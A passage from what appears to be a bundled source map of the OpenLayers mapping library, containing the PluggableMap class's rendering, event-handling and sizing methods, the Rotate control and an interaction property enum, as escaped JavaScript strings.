what is entered as an option or in setTarget:\n * if that was an element, it returns an element; if a string, it returns that.\n * @return {HTMLElement|string|undefined} The Element or id of the Element that the\n * map is rendered in.\n * @observable\n * @api\n */\n PluggableMap.prototype.getTarget = function () {\n return /** @type {HTMLElement|string|undefined} */ (this.get(MapProperty.TARGET));\n };\n /**\n * Get the DOM element into which this map is rendered. In contrast to\n * `getTarget` this method always return an `Element`, or `null` if the\n * map has no target.\n * @return {HTMLElement} The element that the map is rendered in.\n * @api\n */\n PluggableMap.prototype.getTargetElement = function () {\n var target = this.getTarget();\n if (target !== undefined) {\n return typeof target === 'string'\n ? document.getElementById(target)\n : target;\n }\n else {\n return null;\n }\n };\n /**\n * Get the coordinate for a given pixel. This returns a coordinate in the\n * user projection.\n * @param {import(\"./pixel.js\").Pixel} pixel Pixel position in the map viewport.\n * @return {import(\"./coordinate.js\").Coordinate} The coordinate for the pixel position.\n * @api\n */\n PluggableMap.prototype.getCoordinateFromPixel = function (pixel) {\n return toUserCoordinate(this.getCoordinateFromPixelInternal(pixel), this.getView().getProjection());\n };\n /**\n * Get the coordinate for a given pixel. This returns a coordinate in the\n * map view projection.\n * @param {import(\"./pixel.js\").Pixel} pixel Pixel position in the map viewport.\n * @return {import(\"./coordinate.js\").Coordinate} The coordinate for the pixel position.\n */\n PluggableMap.prototype.getCoordinateFromPixelInternal = function (pixel) {\n var frameState = this.frameState_;\n if (!frameState) {\n return null;\n }\n else {\n return applyTransform(frameState.pixelToCoordinateTransform, pixel.slice());\n }\n };\n /**\n * Get the map controls. Modifying this collection changes the controls\n * associated with the map.\n * @return {Collection<import(\"./control/Control.js\").default>} Controls.\n * @api\n */\n PluggableMap.prototype.getControls = function () {\n return this.controls;\n };\n /**\n * Get the map overlays. Modifying this collection changes the overlays\n * associated with the map.\n * @return {Collection<import(\"./Overlay.js\").default>} Overlays.\n * @api\n */\n PluggableMap.prototype.getOverlays = function () {\n return this.overlays_;\n };\n /**\n * Get an overlay by its identifier (the value returned by overlay.getId()).\n * Note that the index treats string and numeric identifiers as the same. So\n * `map.getOverlayById(2)` will return an overlay with id `'2'` or `2`.\n * @param {string|number} id Overlay identifier.\n * @return {import(\"./Overlay.js\").default} Overlay.\n * @api\n */\n PluggableMap.prototype.getOverlayById = function (id) {\n var overlay = this.overlayIdIndex_[id.toString()];\n return overlay !== undefined ? overlay : null;\n };\n /**\n * Get the map interactions. Modifying this collection changes the interactions\n * associated with the map.\n *\n * Interactions are used for e.g. pan, zoom and rotate.\n * @return {Collection<import(\"./interaction/Interaction.js\").default>} Interactions.\n * @api\n */\n PluggableMap.prototype.getInteractions = function () {\n return this.interactions;\n };\n /**\n * Get the layergroup associated with this map.\n * @return {LayerGroup} A layer group containing the layers in this map.\n * @observable\n * @api\n */\n PluggableMap.prototype.getLayerGroup = function () {\n return /** @type {LayerGroup} */ (this.get(MapProperty.LAYERGROUP));\n };\n /**\n * Clear any existing layers and add layers to the map.\n * @param {Array<import(\"./layer/Base.js\").default>|Collection<import(\"./layer/Base.js\").default>} layers The layers to be added to the map.\n * @api\n */\n PluggableMap.prototype.setLayers = function (layers) {\n var group = this.getLayerGroup();\n if (layers instanceof Collection) {\n group.setLayers(layers);\n return;\n }\n var collection = group.getLayers();\n collection.clear();\n collection.extend(layers);\n };\n /**\n * Get the collection of layers associated with this map.\n * @return {!Collection<import(\"./layer/Base.js\").default>} Layers.\n * @api\n */\n PluggableMap.prototype.getLayers = function () {\n var layers = this.getLayerGroup().getLayers();\n return layers;\n };\n /**\n * @return {boolean} Layers have sources that are still loading.\n */\n PluggableMap.prototype.getLoadingOrNotReady = function () {\n var layerStatesArray = this.getLayerGroup().getLayerStatesArray();\n for (var i = 0, ii = layerStatesArray.length; i < ii; ++i) {\n var state = layerStatesArray[i];\n if (!state.visible) {\n continue;\n }\n var renderer = state.layer.getRenderer();\n if (renderer && !renderer.ready) {\n return true;\n }\n var source = /** @type {import(\"./layer/Layer.js\").default} */ (state.layer).getSource();\n if (source && source.loading) {\n return true;\n }\n }\n return false;\n };\n /**\n * Get the pixel for a coordinate. This takes a coordinate in the user\n * projection and returns the corresponding pixel.\n * @param {import(\"./coordinate.js\").Coordinate} coordinate A map coordinate.\n * @return {import(\"./pixel.js\").Pixel} A pixel position in the map viewport.\n * @api\n */\n PluggableMap.prototype.getPixelFromCoordinate = function (coordinate) {\n var viewCoordinate = fromUserCoordinate(coordinate, this.getView().getProjection());\n return this.getPixelFromCoordinateInternal(viewCoordinate);\n };\n /**\n * Get the pixel for a coordinate. This takes a coordinate in the map view\n * projection and returns the corresponding pixel.\n * @param {import(\"./coordinate.js\").Coordinate} coordinate A map coordinate.\n * @return {import(\"./pixel.js\").Pixel} A pixel position in the map viewport.\n */\n PluggableMap.prototype.getPixelFromCoordinateInternal = function (coordinate) {\n var frameState = this.frameState_;\n if (!frameState) {\n return null;\n }\n else {\n return applyTransform(frameState.coordinateToPixelTransform, coordinate.slice(0, 2));\n }\n };\n /**\n * Get the map renderer.\n * @return {import(\"./renderer/Map.js\").default|null} Renderer\n */\n PluggableMap.prototype.getRenderer = function () {\n return this.renderer_;\n };\n /**\n * Get the size of this map.\n * @return {import(\"./size.js\").Size|undefined} The size in pixels of the map in the DOM.\n * @observable\n * @api\n */\n PluggableMap.prototype.getSize = function () {\n return /** @type {import(\"./size.js\").Size|undefined} */ (this.get(MapProperty.SIZE));\n };\n /**\n * Get the view associated with this map. A view manages properties such as\n * center and resolution.\n * @return {View} The view that controls this map.\n * @observable\n * @api\n */\n PluggableMap.prototype.getView = function () {\n return /** @type {View} */ (this.get(MapProperty.VIEW));\n };\n /**\n * Get the element that serves as the map viewport.\n * @return {HTMLElement} Viewport.\n * @api\n */\n PluggableMap.prototype.getViewport = function () {\n return this.viewport_;\n };\n /**\n * Get the element that serves as the container for overlays. Elements added to\n * this container will let mousedown and touchstart events through to the map,\n * so clicks and gestures on an overlay will trigger {@link module:ol/MapBrowserEvent~MapBrowserEvent}\n * events.\n * @return {!HTMLElement} The map's overlay container.\n */\n PluggableMap.prototype.getOverlayContainer = function () {\n return this.overlayContainer_;\n };\n /**\n * Get the element that serves as a container for overlays that don't allow\n * event propagation. Elements added to this container won't let mousedown and\n * touchstart events through to the map, so clicks and gestures on an overlay\n * don't trigger any {@link module:ol/MapBrowserEvent~MapBrowserEvent}.\n * @return {!HTMLElement} The map's overlay container that stops events.\n */\n PluggableMap.prototype.getOverlayContainerStopEvent = function () {\n return this.overlayContainerStopEvent_;\n };\n /**\n * @return {!Document} The document where the map is displayed.\n */\n PluggableMap.prototype.getOwnerDocument = function () {\n var targetElement = this.getTargetElement();\n return targetElement ? targetElement.ownerDocument : document;\n };\n /**\n * @param {import(\"./Tile.js\").default} tile Tile.\n * @param {string} tileSourceKey Tile source key.\n * @param {import(\"./coordinate.js\").Coordinate} tileCenter Tile center.\n * @param {number} tileResolution Tile resolution.\n * @return {number} Tile priority.\n */\n PluggableMap.prototype.getTilePriority = function (tile, tileSourceKey, tileCenter, tileResolution) {\n return getTilePriority(this.frameState_, tile, tileSourceKey, tileCenter, tileResolution);\n };\n /**\n * @param {UIEvent} browserEvent Browser event.\n * @param {string} [opt_type] Type.\n */\n PluggableMap.prototype.handleBrowserEvent = function (browserEvent, opt_type) {\n var type = opt_type || browserEvent.type;\n var mapBrowserEvent = new MapBrowserEvent(type, this, browserEvent);\n this.handleMapBrowserEvent(mapBrowserEvent);\n };\n /**\n * @param {MapBrowserEvent} mapBrowserEvent The event to handle.\n */\n PluggableMap.prototype.handleMapBrowserEvent = function (mapBrowserEvent) {\n if (!this.frameState_) {\n // With no view defined, we cannot translate pixels into geographical\n // coordinates so interactions cannot be used.\n return;\n }\n var originalEvent = /** @type {PointerEvent} */ (mapBrowserEvent.originalEvent);\n var eventType = originalEvent.type;\n if (eventType === PointerEventType.POINTERDOWN ||\n eventType === EventType.WHEEL ||\n eventType === EventType.KEYDOWN) {\n var doc = this.getOwnerDocument();\n var rootNode = this.viewport_.getRootNode\n ? this.viewport_.getRootNode()\n : doc;\n var target = /** @type {Node} */ (originalEvent.target);\n if (\n // Abort if the target is a child of the container for elements whose events are not meant\n // to be handled by map interactions.\n this.overlayContainerStopEvent_.contains(target) ||\n // Abort if the event target is a child of the container that is no longer in the page.\n // It's possible for the target to no longer be in the page if it has been removed in an\n // event listener, this might happen in a Control that recreates it's content based on\n // user interaction either manually or via a render in something like https://reactjs.org/\n !(rootNode === doc ? doc.documentElement : rootNode).contains(target)) {\n return;\n }\n }\n mapBrowserEvent.frameState = this.frameState_;\n if (this.dispatchEvent(mapBrowserEvent) !== false) {\n var interactionsArray = this.getInteractions().getArray().slice();\n for (var i = interactionsArray.length - 1; i >= 0; i--) {\n var interaction = interactionsArray[i];\n if (interaction.getMap() !== this ||\n !interaction.getActive() ||\n !this.getTargetElement()) {\n continue;\n }\n var cont = interaction.handleEvent(mapBrowserEvent);\n if (!cont || mapBrowserEvent.propagationStopped) {\n break;\n }\n }\n }\n };\n /**\n * @protected\n */\n PluggableMap.prototype.handlePostRender = function () {\n var frameState = this.frameState_;\n // Manage the tile queue\n // Image loads are expensive and a limited resource, so try to use them\n // efficiently:\n // * When the view is static we allow a large number of parallel tile loads\n // to complete the frame as quickly as possible.\n // * When animating or interacting, image loads can cause janks, so we reduce\n // the maximum number of loads per frame and limit the number of parallel\n // tile loads to remain reactive to view changes and to reduce the chance of\n // loading tiles that will quickly disappear from view.\n var tileQueue = this.tileQueue_;\n if (!tileQueue.isEmpty()) {\n var maxTotalLoading = this.maxTilesLoading_;\n var maxNewLoads = maxTotalLoading;\n if (frameState) {\n var hints = frameState.viewHints;\n if (hints[ViewHint.ANIMATING] || hints[ViewHint.INTERACTING]) {\n var lowOnFrameBudget = Date.now() - frameState.time > 8;\n maxTotalLoading = lowOnFrameBudget ? 0 : 8;\n maxNewLoads = lowOnFrameBudget ? 0 : 2;\n }\n }\n if (tileQueue.getTilesLoading() < maxTotalLoading) {\n tileQueue.reprioritize(); // FIXME only call if view has changed\n tileQueue.loadMoreTiles(maxTotalLoading, maxNewLoads);\n }\n }\n if (frameState && this.renderer_ && !frameState.animate) {\n if (this.renderComplete_ === true) {\n if (this.hasListener(RenderEventType.RENDERCOMPLETE)) {\n this.renderer_.dispatchRenderEvent(RenderEventType.RENDERCOMPLETE, frameState);\n }\n if (this.loaded_ === false) {\n this.loaded_ = true;\n this.dispatchEvent(new MapEvent(MapEventType.LOADEND, this, frameState));\n }\n }\n else if (this.loaded_ === true) {\n this.loaded_ = false;\n this.dispatchEvent(new MapEvent(MapEventType.LOADSTART, this, frameState));\n }\n }\n var postRenderFunctions = this.postRenderFunctions_;\n for (var i = 0, ii = postRenderFunctions.length; i < ii; ++i) {\n postRenderFunctions[i](this, frameState);\n }\n postRenderFunctions.length = 0;\n };\n /**\n * @private\n */\n PluggableMap.prototype.handleSizeChanged_ = function () {\n if (this.getView() && !this.getView().getAnimating()) {\n this.getView().resolveConstraints(0);\n }\n this.render();\n };\n /**\n * @private\n */\n PluggableMap.prototype.handleTargetChanged_ = function () {\n if (this.mapBrowserEventHandler_) {\n for (var i = 0, ii = this.targetChangeHandlerKeys_.length; i < ii; ++i) {\n unlistenByKey(this.targetChangeHandlerKeys_[i]);\n }\n this.targetChangeHandlerKeys_ = null;\n this.viewport_.removeEventListener(EventType.CONTEXTMENU, this.boundHandleBrowserEvent_);\n this.viewport_.removeEventListener(EventType.WHEEL, this.boundHandleBrowserEvent_);\n this.mapBrowserEventHandler_.dispose();\n this.mapBrowserEventHandler_ = null;\n removeNode(this.viewport_);\n }\n // target may be undefined, null, a string or an Element.\n // If it's a string we convert it to an Element before proceeding.\n // If it's not now an Element we remove the viewport from the DOM.\n // If it's an Element we append the viewport element to it.\n var targetElement = this.getTargetElement();\n if (!targetElement) {\n if (this.renderer_) {\n clearTimeout(this.postRenderTimeoutHandle_);\n this.postRenderTimeoutHandle_ = undefined;\n this.postRenderFunctions_.length = 0;\n this.renderer_.dispose();\n this.renderer_ = null;\n }\n if (this.animationDelayKey_) {\n cancelAnimationFrame(this.animationDelayKey_);\n this.animationDelayKey_ = undefined;\n }\n }\n else {\n targetElement.appendChild(this.viewport_);\n if (!this.renderer_) {\n this.renderer_ = this.createRenderer();\n }\n this.mapBrowserEventHandler_ = new MapBrowserEventHandler(this, this.moveTolerance_);\n for (var key in MapBrowserEventType) {\n this.mapBrowserEventHandler_.addEventListener(MapBrowserEventType[key], this.handleMapBrowserEvent.bind(this));\n }\n this.viewport_.addEventListener(EventType.CONTEXTMENU, this.boundHandleBrowserEvent_, false);\n this.viewport_.addEventListener(EventType.WHEEL, this.boundHandleBrowserEvent_, PASSIVE_EVENT_LISTENERS ? { passive: false } : false);\n var defaultView = this.getOwnerDocument().defaultView;\n var keyboardEventTarget = !this.keyboardEventTarget_\n ? targetElement\n : this.keyboardEventTarget_;\n this.targetChangeHandlerKeys_ = [\n listen(keyboardEventTarget, EventType.KEYDOWN, this.handleBrowserEvent, this),\n listen(keyboardEventTarget, EventType.KEYPRESS, this.handleBrowserEvent, this),\n listen(defaultView, EventType.RESIZE, this.updateSize, this),\n ];\n }\n this.updateSize();\n // updateSize calls setSize, so no need to call this.render\n // ourselves here.\n };\n /**\n * @private\n */\n PluggableMap.prototype.handleTileChange_ = function () {\n this.render();\n };\n /**\n * @private\n */\n PluggableMap.prototype.handleViewPropertyChanged_ = function () {\n this.render();\n };\n /**\n * @private\n */\n PluggableMap.prototype.handleViewChanged_ = function () {\n if (this.viewPropertyListenerKey_) {\n unlistenByKey(this.viewPropertyListenerKey_);\n this.viewPropertyListenerKey_ = null;\n }\n if (this.viewChangeListenerKey_) {\n unlistenByKey(this.viewChangeListenerKey_);\n this.viewChangeListenerKey_ = null;\n }\n var view = this.getView();\n if (view) {\n this.updateViewportSize_();\n this.viewPropertyListenerKey_ = listen(view, ObjectEventType.PROPERTYCHANGE, this.handleViewPropertyChanged_, this);\n this.viewChangeListenerKey_ = listen(view, EventType.CHANGE, this.handleViewPropertyChanged_, this);\n view.resolveConstraints(0);\n }\n this.render();\n };\n /**\n * @private\n */\n PluggableMap.prototype.handleLayerGroupChanged_ = function () {\n if (this.layerGroupPropertyListenerKeys_) {\n this.layerGroupPropertyListenerKeys_.forEach(unlistenByKey);\n this.layerGroupPropertyListenerKeys_ = null;\n }\n var layerGroup = this.getLayerGroup();\n if (layerGroup) {\n this.handleLayerAdd_(new GroupEvent('addlayer', layerGroup));\n this.layerGroupPropertyListenerKeys_ = [\n listen(layerGroup, ObjectEventType.PROPERTYCHANGE, this.render, this),\n listen(layerGroup, EventType.CHANGE, this.render, this),\n listen(layerGroup, 'addlayer', this.handleLayerAdd_, this),\n listen(layerGroup, 'removelayer', this.handleLayerRemove_, this),\n ];\n }\n this.render();\n };\n /**\n * @return {boolean} Is rendered.\n */\n PluggableMap.prototype.isRendered = function () {\n return !!this.frameState_;\n };\n /**\n * Requests an immediate render in a synchronous manner.\n * @api\n */\n PluggableMap.prototype.renderSync = function () {\n if (this.animationDelayKey_) {\n cancelAnimationFrame(this.animationDelayKey_);\n }\n this.animationDelay_();\n };\n /**\n * Redraws all text after new fonts have loaded\n */\n PluggableMap.prototype.redrawText = function () {\n var layerStates = this.getLayerGroup().getLayerStatesArray();\n for (var i = 0, ii = layerStates.length; i < ii; ++i) {\n var layer = layerStates[i].layer;\n if (layer.hasRenderer()) {\n layer.getRenderer().handleFontsChanged();\n }\n }\n };\n /**\n * Request a map rendering (at the next animation frame).\n * @api\n */\n PluggableMap.prototype.render = function () {\n if (this.renderer_ && this.animationDelayKey_ === undefined) {\n this.animationDelayKey_ = requestAnimationFrame(this.animationDelay_);\n }\n };\n /**\n * Remove the given control from the map.\n * @param {import(\"./control/Control.js\").default} control Control.\n * @return {import(\"./control/Control.js\").default|undefined} The removed control (or undefined\n * if the control was not found).\n * @api\n */\n PluggableMap.prototype.removeControl = function (control) {\n return this.getControls().remove(control);\n };\n /**\n * Remove the given interaction from the map.\n * @param {import(\"./interaction/Interaction.js\").default} interaction Interaction to remove.\n * @return {import(\"./interaction/Interaction.js\").default|undefined} The removed interaction (or\n * undefined if the interaction was not found).\n * @api\n */\n PluggableMap.prototype.removeInteraction = function (interaction) {\n return this.getInteractions().remove(interaction);\n };\n /**\n * Removes the given layer from the map.\n * @param {import(\"./layer/Base.js\").default} layer Layer.\n * @return {import(\"./layer/Base.js\").default|undefined} The removed layer (or undefined if the\n * layer was not found).\n * @api\n */\n PluggableMap.prototype.removeLayer = function (layer) {\n var layers = this.getLayerGroup().getLayers();\n return layers.remove(layer);\n };\n /**\n * @param {import(\"./layer/Group.js\").GroupEvent} event The layer remove event.\n * @private\n */\n PluggableMap.prototype.handleLayerRemove_ = function (event) {\n removeLayerMapProperty(event.layer);\n };\n /**\n * Remove the given overlay from the map.\n * @param {import(\"./Overlay.js\").default} overlay Overlay.\n * @return {import(\"./Overlay.js\").default|undefined} The removed overlay (or undefined\n * if the overlay was not found).\n * @api\n */\n PluggableMap.prototype.removeOverlay = function (overlay) {\n return this.getOverlays().remove(overlay);\n };\n /**\n * @param {number} time Time.\n * @private\n */\n PluggableMap.prototype.renderFrame_ = function (time) {\n var _this = this;\n var size = this.getSize();\n var view = this.getView();\n var previousFrameState = this.frameState_;\n /** @type {?FrameState} */\n var frameState = null;\n if (size !== undefined && hasArea(size) && view && view.isDef()) {\n var viewHints = view.getHints(this.frameState_ ? this.frameState_.viewHints : undefined);\n var viewState = view.getState();\n frameState = {\n animate: false,\n coordinateToPixelTransform: this.coordinateToPixelTransform_,\n declutterTree: null,\n extent: getForViewAndSize(viewState.center, viewState.resolution, viewState.rotation, size),\n index: this.frameIndex_++,\n layerIndex: 0,\n layerStatesArray: this.getLayerGroup().getLayerStatesArray(),\n pixelRatio: this.pixelRatio_,\n pixelToCoordinateTransform: this.pixelToCoordinateTransform_,\n postRenderFunctions: [],\n size: size,\n tileQueue: this.tileQueue_,\n time: time,\n usedTiles: {},\n viewState: viewState,\n viewHints: viewHints,\n wantedTiles: {},\n mapId: getUid(this),\n renderTargets: {},\n };\n if (viewState.nextCenter && viewState.nextResolution) {\n var rotation = isNaN(viewState.nextRotation)\n ? viewState.rotation\n : viewState.nextRotation;\n frameState.nextExtent = getForViewAndSize(viewState.nextCenter, viewState.nextResolution, rotation, size);\n }\n }\n this.frameState_ = frameState;\n /** @type {import(\"./renderer/Map.js\").default} */ (this.renderer_).renderFrame(frameState);\n if (frameState) {\n if (frameState.animate) {\n this.render();\n }\n Array.prototype.push.apply(this.postRenderFunctions_, frameState.postRenderFunctions);\n if (previousFrameState) {\n var moveStart = !this.previousExtent_ ||\n (!isEmpty(this.previousExtent_) &&\n !equals(frameState.extent, this.previousExtent_));\n if (moveStart) {\n this.dispatchEvent(new MapEvent(MapEventType.MOVESTART, this, previousFrameState));\n this.previousExtent_ = createOrUpdateEmpty(this.previousExtent_);\n }\n }\n var idle = this.previousExtent_ &&\n !frameState.viewHints[ViewHint.ANIMATING] &&\n !frameState.viewHints[ViewHint.INTERACTING] &&\n !equals(frameState.extent, this.previousExtent_);\n if (idle) {\n this.dispatchEvent(new MapEvent(MapEventType.MOVEEND, this, frameState));\n clone(frameState.extent, this.previousExtent_);\n }\n }\n this.dispatchEvent(new MapEvent(MapEventType.POSTRENDER, this, frameState));\n this.renderComplete_ =\n this.hasListener(MapEventType.LOADSTART) ||\n this.hasListener(MapEventType.LOADEND) ||\n this.hasListener(RenderEventType.RENDERCOMPLETE)\n ? !this.tileQueue_.getTilesLoading() &&\n !this.tileQueue_.getCount() &&\n !this.getLoadingOrNotReady()\n : undefined;\n if (!this.postRenderTimeoutHandle_) {\n this.postRenderTimeoutHandle_ = setTimeout(function () {\n _this.postRenderTimeoutHandle_ = undefined;\n _this.handlePostRender();\n }, 0);\n }\n };\n /**\n * Sets the layergroup of this map.\n * @param {LayerGroup} layerGroup A layer group containing the layers in this map.\n * @observable\n * @api\n */\n PluggableMap.prototype.setLayerGroup = function (layerGroup) {\n var oldLayerGroup = this.getLayerGroup();\n if (oldLayerGroup) {\n this.handleLayerRemove_(new GroupEvent('removelayer', oldLayerGroup));\n }\n this.set(MapProperty.LAYERGROUP, layerGroup);\n };\n /**\n * Set the size of this map.\n * @param {import(\"./size.js\").Size|undefined} size The size in pixels of the map in the DOM.\n * @observable\n * @api\n */\n PluggableMap.prototype.setSize = function (size) {\n this.set(MapProperty.SIZE, size);\n };\n /**\n * Set the target element to render this map into.\n * @param {HTMLElement|string} [target] The Element or id of the Element\n * that the map is rendered in.\n * @observable\n * @api\n */\n PluggableMap.prototype.setTarget = function (target) {\n this.set(MapProperty.TARGET, target);\n };\n /**\n * Set the view for this map.\n * @param {View|Promise<import(\"./View.js\").ViewOptions>} view The view that controls this map.\n * It is also possible to pass a promise that resolves to options for constructing a view. This\n * alternative allows view properties to be resolved by sources or other components that load\n * view-related metadata.\n * @observable\n * @api\n */\n PluggableMap.prototype.setView = function (view) {\n if (!view || view instanceof View) {\n this.set(MapProperty.VIEW, view);\n return;\n }\n this.set(MapProperty.VIEW, new View());\n var map = this;\n view.then(function (viewOptions) {\n map.setView(new View(viewOptions));\n });\n };\n /**\n * Force a recalculation of the map viewport size. This should be called when\n * third-party code changes the size of the map viewport.\n * @api\n */\n PluggableMap.prototype.updateSize = function () {\n var targetElement = this.getTargetElement();\n var size = undefined;\n if (targetElement) {\n var computedStyle = getComputedStyle(targetElement);\n var width = targetElement.offsetWidth -\n parseFloat(computedStyle['borderLeftWidth']) -\n parseFloat(computedStyle['paddingLeft']) -\n parseFloat(computedStyle['paddingRight']) -\n parseFloat(computedStyle['borderRightWidth']);\n var height = targetElement.offsetHeight -\n parseFloat(computedStyle['borderTopWidth']) -\n parseFloat(computedStyle['paddingTop']) -\n parseFloat(computedStyle['paddingBottom']) -\n parseFloat(computedStyle['borderBottomWidth']);\n if (!isNaN(width) && !isNaN(height)) {\n size = [width, height];\n if (!hasArea(size) &&\n !!(targetElement.offsetWidth ||\n targetElement.offsetHeight ||\n targetElement.getClientRects().length)) {\n // eslint-disable-next-line\n console.warn(\"No map visible because the map container's width or height are 0.\");\n }\n }\n }\n this.setSize(size);\n this.updateViewportSize_();\n };\n /**\n * Recomputes the viewport size and save it on the view object (if any)\n * @private\n */\n PluggableMap.prototype.updateViewportSize_ = function () {\n var view = this.getView();\n if (view) {\n var size = undefined;\n var computedStyle = getComputedStyle(this.viewport_);\n if (computedStyle.width && computedStyle.height) {\n size = [\n parseInt(computedStyle.width, 10),\n parseInt(computedStyle.height, 10),\n ];\n }\n view.setViewportSize(size);\n }\n };\n return PluggableMap;\n}(BaseObject));\n/**\n * @param {MapOptions} options Map options.\n * @return {MapOptionsInternal} Internal map options.\n */\nfunction createOptionsInternal(options) {\n /**\n * @type {HTMLElement|Document}\n */\n var keyboardEventTarget = null;\n if (options.keyboardEventTarget !== undefined) {\n keyboardEventTarget =\n typeof options.keyboardEventTarget === 'string'\n ? document.getElementById(options.keyboardEventTarget)\n : options.keyboardEventTarget;\n }\n /**\n * @type {Object<string, *>}\n */\n var values = {};\n var layerGroup = options.layers &&\n typeof ( /** @type {?} */(options.layers).getLayers) === 'function'\n ? /** @type {LayerGroup} */ (options.layers)\n : new LayerGroup({ layers: /** @type {Collection} */ (options.layers) });\n values[MapProperty.LAYERGROUP] = layerGroup;\n values[MapProperty.TARGET] = options.target;\n values[MapProperty.VIEW] =\n options.view instanceof View ? options.view : new View();\n var controls;\n if (options.controls !== undefined) {\n if (Array.isArray(options.controls)) {\n controls = new Collection(options.controls.slice());\n }\n else {\n assert(typeof ( /** @type {?} */(options.controls).getArray) === 'function', 47); // Expected `controls` to be an array or an `import(\"./Collection.js\").Collection`\n controls = /** @type {Collection} */ (options.controls);\n }\n }\n var interactions;\n if (options.interactions !== undefined) {\n if (Array.isArray(options.interactions)) {\n interactions = new Collection(options.interactions.slice());\n }\n else {\n assert(typeof ( /** @type {?} */(options.interactions).getArray) ===\n 'function', 48); // Expected `interactions` to be an array or an `import(\"./Collection.js\").Collection`\n interactions = /** @type {Collection} */ (options.interactions);\n }\n }\n var overlays;\n if (options.overlays !== undefined) {\n if (Array.isArray(options.overlays)) {\n overlays = new Collection(options.overlays.slice());\n }\n else {\n assert(typeof ( /** @type {?} */(options.overlays).getArray) === 'function', 49); // Expected `overlays` to be an array or an `import(\"./Collection.js\").Collection`\n overlays = options.overlays;\n }\n }\n else {\n overlays = new Collection();\n }\n return {\n controls: controls,\n interactions: interactions,\n keyboardEventTarget: keyboardEventTarget,\n overlays: overlays,\n values: values,\n };\n}\nexport default PluggableMap;\n//# sourceMappingURL=PluggableMap.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/control/Rotate\n */\nimport Control from './Control.js';\nimport EventType from '../events/EventType.js';\nimport { CLASS_CONTROL, CLASS_HIDDEN, CLASS_UNSELECTABLE } from '../css.js';\nimport { easeOut } from '../easing.js';\n/**\n * @typedef {Object} Options\n * @property {string} [className='ol-rotate'] CSS class name.\n * @property {string|HTMLElement} [label='⇧'] Text label to use for the rotate button.\n * Instead of text, also an element (e.g. a `span` element) can be used.\n * @property {string} [tipLabel='Reset rotation'] Text label to use for the rotate tip.\n * @property {string} [compassClassName='ol-compass'] CSS class name for the compass.\n * @property {number} [duration=250] Animation duration in milliseconds.\n * @property {boolean} [autoHide=true] Hide the control when rotation is 0.\n * @property {function(import(\"../MapEvent.js\").default):void} [render] Function called when the control should\n * be re-rendered. This is called in a `requestAnimationFrame` callback.\n * @property {function():void} [resetNorth] Function called when the control is clicked.\n * This will override the default `resetNorth`.\n * @property {HTMLElement|string} [target] Specify a target if you want the control to be\n * rendered outside of the map's viewport.\n */\n/**\n * @classdesc\n * A button control to reset rotation to 0.\n * To style this control use css selector `.ol-rotate`. A `.ol-hidden` css\n * selector is added to the button when the rotation is 0.\n *\n * @api\n */\nvar Rotate = /** @class */ (function (_super) {\n __extends(Rotate, _super);\n /**\n * @param {Options} [opt_options] Rotate options.\n */\n function Rotate(opt_options) {\n var _this = this;\n var options = opt_options ? opt_options : {};\n _this = _super.call(this, {\n element: document.createElement('div'),\n render: options.render,\n target: options.target,\n }) || this;\n var className = options.className !== undefined ? options.className : 'ol-rotate';\n var label = options.label !== undefined ? options.label : '\\u21E7';\n var compassClassName = options.compassClassName !== undefined\n ? options.compassClassName\n : 'ol-compass';\n /**\n * @type {HTMLElement}\n * @private\n */\n _this.label_ = null;\n if (typeof label === 'string') {\n _this.label_ = document.createElement('span');\n _this.label_.className = compassClassName;\n _this.label_.textContent = label;\n }\n else {\n _this.label_ = label;\n _this.label_.classList.add(compassClassName);\n }\n var tipLabel = options.tipLabel ? options.tipLabel : 'Reset rotation';\n var button = document.createElement('button');\n button.className = className + '-reset';\n button.setAttribute('type', 'button');\n button.title = tipLabel;\n button.appendChild(_this.label_);\n button.addEventListener(EventType.CLICK, _this.handleClick_.bind(_this), false);\n var cssClasses = className + ' ' + CLASS_UNSELECTABLE + ' ' + CLASS_CONTROL;\n var element = _this.element;\n element.className = cssClasses;\n element.appendChild(button);\n _this.callResetNorth_ = options.resetNorth ? options.resetNorth : undefined;\n /**\n * @type {number}\n * @private\n */\n _this.duration_ = options.duration !== undefined ? options.duration : 250;\n /**\n * @type {boolean}\n * @private\n */\n _this.autoHide_ = options.autoHide !== undefined ? options.autoHide : true;\n /**\n * @private\n * @type {number|undefined}\n */\n _this.rotation_ = undefined;\n if (_this.autoHide_) {\n _this.element.classList.add(CLASS_HIDDEN);\n }\n return _this;\n }\n /**\n * @param {MouseEvent} event The event to handle\n * @private\n */\n Rotate.prototype.handleClick_ = function (event) {\n event.preventDefault();\n if (this.callResetNorth_ !== undefined) {\n this.callResetNorth_();\n }\n else {\n this.resetNorth_();\n }\n };\n /**\n * @private\n */\n Rotate.prototype.resetNorth_ = function () {\n var map = this.getMap();\n var view = map.getView();\n if (!view) {\n // the map does not have a view, so we can't act\n // upon it\n return;\n }\n var rotation = view.getRotation();\n if (rotation !== undefined) {\n if (this.duration_ > 0 && rotation % (2 * Math.PI) !== 0) {\n view.animate({\n rotation: 0,\n duration: this.duration_,\n easing: easeOut,\n });\n }\n else {\n view.setRotation(0);\n }\n }\n };\n /**\n * Update the rotate control element.\n * @param {import(\"../MapEvent.js\").default} mapEvent Map event.\n * @override\n */\n Rotate.prototype.render = function (mapEvent) {\n var frameState = mapEvent.frameState;\n if (!frameState) {\n return;\n }\n var rotation = frameState.viewState.rotation;\n if (rotation != this.rotation_) {\n var transform = 'rotate(' + rotation + 'rad)';\n if (this.autoHide_) {\n var contains = this.element.classList.contains(CLASS_HIDDEN);\n if (!contains && rotation === 0) {\n this.element.classList.add(CLASS_HIDDEN);\n }\n else if (contains && rotation !== 0) {\n this.element.classList.remove(CLASS_HIDDEN);\n }\n }\n this.label_.style.transform = transform;\n }\n this.rotation_ = rotation;\n };\n return Rotate;\n}(Control));\nexport default Rotate;\n//# sourceMappingURL=Rotate.js.map","/**\n * @module ol/interaction/Property\n */\n/**\n * @enum {string}\n */\nexport default {\n ACTIVE: 'active',\n};\n//# sourceMappingURL=Property.js.map","var __extends = (this && 